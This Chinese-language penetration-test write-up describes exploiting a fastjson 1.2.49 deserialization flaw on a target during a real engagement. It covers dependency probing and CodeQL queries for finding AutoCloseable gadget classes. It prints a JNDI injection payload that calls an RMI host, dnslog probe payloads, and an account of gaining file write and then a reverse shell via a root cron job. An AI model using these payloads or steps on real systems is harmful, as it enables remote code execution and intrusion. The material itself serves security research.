某次项目中看到这么一个报错
fastjson1.2.49,非常的微妙。刚好逃脱1.2.47的java.lang.Class绕过,但落入了1.2.68的java.lang.AutoCloseable绕过。
1.2.68的主要绕过思路是文件写入和SSRF,当然,我们先不急着盲打,先用fastjson的一些特性进行探测。
可以看到,这个接口允许一个不相关的KV,依旧会返回数据。那么将不相关的KV放入一个mysql一定存在并依赖AutoCloseable的类。
可以看到,存在的类会返回数据,不存在的类会报错,这就形成了一个类似URLDNS链探测依赖的效果。如果你不加这个test则不会起到这个效果(会统一报另外一个错)。
com.mysql.cj.jdbc.ConnectionImpl不报错
com.mysql.jdbc.ConnectionImpl报错
那么我们初步判断它依赖的mysql jar包版本为8.x,这是一个不好的消息,因为这个大版本可以作为fastjson二次反序列化链的只有8.0.19这一个小版本,往下fastjson链不通,往上无法反序列化仅能SSRF。测试如下(payload见我往期文章)。
这个报错很明显,是LoadBalancedConnectionProxy只能传LoadbalanceConnectionUrl而不能为ReplicationConnectionUrl。
如下图,这正是大于8.0.19和小于8.0.19的区别。
换成LoadbalanceConnectionUrl呢?它的最大参数构造方法有两个。
fastjson在linux环境下用的下面一个。
在windows环境则用的上面一个。
但无论哪个,都无法向下做链。
HostInfo是因为存在无参构造方法,会被认为是bean,但又没有set去设置属性。
ConnectionUrlParser则干脆构造方法是私有的,同样无法继续向下构造。
那么mysql这条路是彻底堵死了。我们再试试io链,这次更狠,直接没有commons-io包。
还有jdk11的文件写入链。
这里报错是格式问题,于是将对应位置修复。
IOException报错,这证明MarshalOutputStream的构造方法通过了,也就是1.txt被成功创建,在后续write中出错。这证明对方的JDK版本是用javac -g编译的,在字节码中保存了变量名,符合JDK11链的利用条件(具体原理依旧见我老文章)。
那为什么这个payload会报【{】为【[】的错误呢?带着好奇心我检查了我自己服务器上JDK11和JDK8的源码。
JDK11
JDK8
很简单,JDK8没有public void setInput(ByteBuffer input)方法,因此默认的setter是public void setInput(byte[] input)
因此fastjson链可以稍微变化一下。
回显了信息,这证明全程没有报错,因此我获取了一个任意文件写。
但目标中间件是springboot,无法直接写webshell,需要写任务计划/sshkey/charsets.jar,都是比较危险的动作,不到最后一刻,先不使用。
后来再回顾fastjson知识时,我发现这个JDK11链的改版已经有人提过了。
http://scz.617.cn:8/web/202008111715.txt
我们已知对方fastjson版本是1.2.49,JDK11链,io链,mysql链都是1.2.68依旧还能用的链。难道就没有1.2.49可以用的链,1.2.68不能用的链吗?答案当然不是,从fastjson黑名单我们就看的出来。有源源不断的人在挖掘新链。
https://github.com/LeadroyaL/fastjson-blacklist
拿个最眼熟的,com.mysql.cj.jdbc.admin.是不是很眼熟?在jackson链中我们用到过这条。
然而com.mysql.cj.jdbc.admin.MiniAdmin并未实现java.lang.AutoCloseable,也就是说这是一个需要开启AutoType的水链。
通过这些黑名单关键字的搜索,我们可以将大部分水链给搜出来。
https://blog.csdn.net/maverickpig/article/details/118916614
但是,其中有一个却不是水链,那就是1.2.61进入黑名单的oracle.jdbc.rowset.OracleJDBCRowSet
它实现了javax.sql.RowSet,RowSet继承了AutoCloseable,payload如下。
{"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"rmi://vxxh0c.dnslog.cn:1099/Exploit","command":"111"}
过程也非常简单,通过父类setDataSourceName,然后setCommand触发getConnection。
那么这个payload行吗?很遗憾,对方没有ojdbc依赖。
但这激发了我找链的好奇心,我们在之前曾用过codeql找过有危害的getter,拿来找fastjson链不是正好吗?先知论坛有一篇文章可以借鉴思路。
https://xz.aliyun.com/t/7482
因为不知道对方的依赖情况,我们优先要找出来的是符合fastjson的构造函数,用来探测对方的依赖。
我们先搞一个springboot的常用jar包集合,然后将其全部解压到一个文件夹,再删除所有非class文件(部分非class文件会对批量反编译产生干扰)。然后用上次提到过的python小工具进行codeql建库。注意需要更改java的内存,我用的16GB。
https://github.com/waderwu/extractor-java
然后提取那些实现AutoCloseable的类,同时把一些已经被拉黑的类加上去,当然这里不全,为了防干扰你可以将fastjson-blacklist中低于1.2.49版本的类全部加上去。
class ConstructorMethod extends Constructor {
ConstructorMethod() {
this.isPublic()
and not this.getDeclaringType().isAbstract() //不是接口或者抽象类
and this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "AutoCloseable")
and not this.getDeclaringType().getPackage().getName().matches("org.apache.tomcat%")
and not this.getDeclaringType().getPackage().getName().matches("org.springframework%")
and this.fromSource()
}
}
然后进行查询并展示包名+类名。
from ConstructorMethod source
select source,
source.getDeclaringType().getPackage().getName()+"."+source.getDeclaringType()
效果如下。注意查询时间可能非常长。
将类名导出,做成一个字典,放进bp里跑,根据回显结果可以大致判断目标的依赖了。
然后将所有依赖的jar包再次做成code数据库,补充getter,setter。
import java
abstract class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "AutoCloseable")
and not this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "ClassLoader")
and not this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource")
and not this.getDeclaringType().getPackage().getName().matches("org.apache.tomcat%")
and not this.getDeclaringType().getPackage().getName().matches("org.springframework%")
and this.getDeclaringType().getAConstructor().hasNoParameters()
and not this.getDeclaringType().isAbstract() //不是接口或者抽象类
and this.fromSource()
and this.isPublic()
}
}
class ConstructorMethod extends Constructor {
ConstructorMethod() {
this.isPublic()
and not this.getDeclaringType().isAbstract() //不是接口或者抽象类
and this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "AutoCloseable")
and not this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "ClassLoader")
and not this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource")
and not this.getDeclaringType().getPackage().getName().matches("org.apache.tomcat%")
and not this.getDeclaringType().getPackage().getName().matches("org.springframework%")
and this.fromSource()
}
}
class FastJsonSetMethod extends SerializableMethod{
FastJsonSetMethod(){
this.getName().indexOf("set") = 0 and
this.getName().length() > 3 and
exists(VoidType vt |
vt = this.getReturnType()
) and
this.getNumberOfParameters() = 1
}
}
class FastJsonGetMethod extends SerializableMethod{
FastJsonGetMethod(){
this.getName().indexOf("get") = 0 and
this.getName().length() > 3 and
this.hasNoParameters()
}
}
这里我多了ClassLoader和DataSource的判断是为什么呢?因为我找到了这样一个类。
com.zaxxer.hikari.HikariDataSource
看构造方法是个bean,实现Closeable继承AutoCloseable
找到一个可疑setter,跟进
跟进super.setMetricRegistry()
再跟进getObjectOrPerformJndiLookup()就可以发现lookup
这看起来就是com.zaxxer.hikari.HikariConfig这条水链的AutoCloseable版本。但实际去反序列化的时候发现并不行,下断点跟了一下找到了原因。
很遗憾,因此最后加上了ClassLoader和DataSource的判断。
codeql的语句中我并没有加上lookup之类的sink点,因为经过两轮筛选下来,其实符合条件的setter/getter/Constructor非常非常少,人工就可以轻松看完。最终我只找到两个没有危害的dnslog链。
{
"@type":"java.lang.AutoCloseable",
"@type":"ch.qos.logback.core.net.SyslogOutputStream","syslogHost":"dnslog.com","port":80
}
{
"@type":"java.lang.AutoCloseable",
"@type":"ch.qos.logback.core.recovery.ResilientSyslogOutputStream","syslogHost":"dnslog.com","port":80
}
而这个dnslog链在1.2.59版本也被拉黑了。
有兴趣的可以顺着我这个办法去找。
回过头来,最终我还是直接利用的JDK11链,写/var/spool/cron/root任务计划弹回shell。
原文始发于微信公众号(珂技知识分享):一次实战fastjson1.2.49